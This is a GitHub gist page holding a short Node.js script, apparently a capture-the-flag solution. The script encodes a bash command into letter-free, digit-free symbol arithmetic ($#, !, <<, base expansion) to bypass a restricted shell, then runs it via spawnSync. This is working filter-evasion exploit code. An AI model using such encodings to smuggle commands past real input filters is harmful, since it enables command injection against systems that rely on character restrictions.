Created
December 30, 2017 12:13
-
-
Save MDFL64/fdd267f5a436d11bc6f6d4d8d389baa3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var cp = require("child_process"); | |
var words = ["bash","-c","a=/tmp/gt\nb=>(./get* > $a)\nexpr $(sed -n 2p $a) > $b\ncat $a"]; | |
var cmd = "${!#}<<<{"; | |
for (var w=0;w<words.length;w++) { | |
var target_cmd=words[w]; | |
cmd+="\\$\\'"; | |
for (var i=0;i<target_cmd.length;i++) { | |
var bin = parseInt(target_cmd.charCodeAt(i).toString(8),10).toString(2); | |
var number = "\\\\$(($((!$#<<!$#))#"+bin.replace(/0/g,"$#").replace(/1/g,"$((!$#))")+"))"; | |
cmd+=number; | |
} | |
cmd+="\\'," | |
} | |
cmd+="}"; | |
console.log(cmd); | |
console.log(cmd.length); | |
var res = cp.spawnSync("/bin/bash",["-c",cmd],{encoding:"ascii"}); | |
if (res.stdout) | |
console.log("[OUT]"+res.stdout) | |
if (res.stderr) | |
console.log("[ERR]"+res.stderr); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment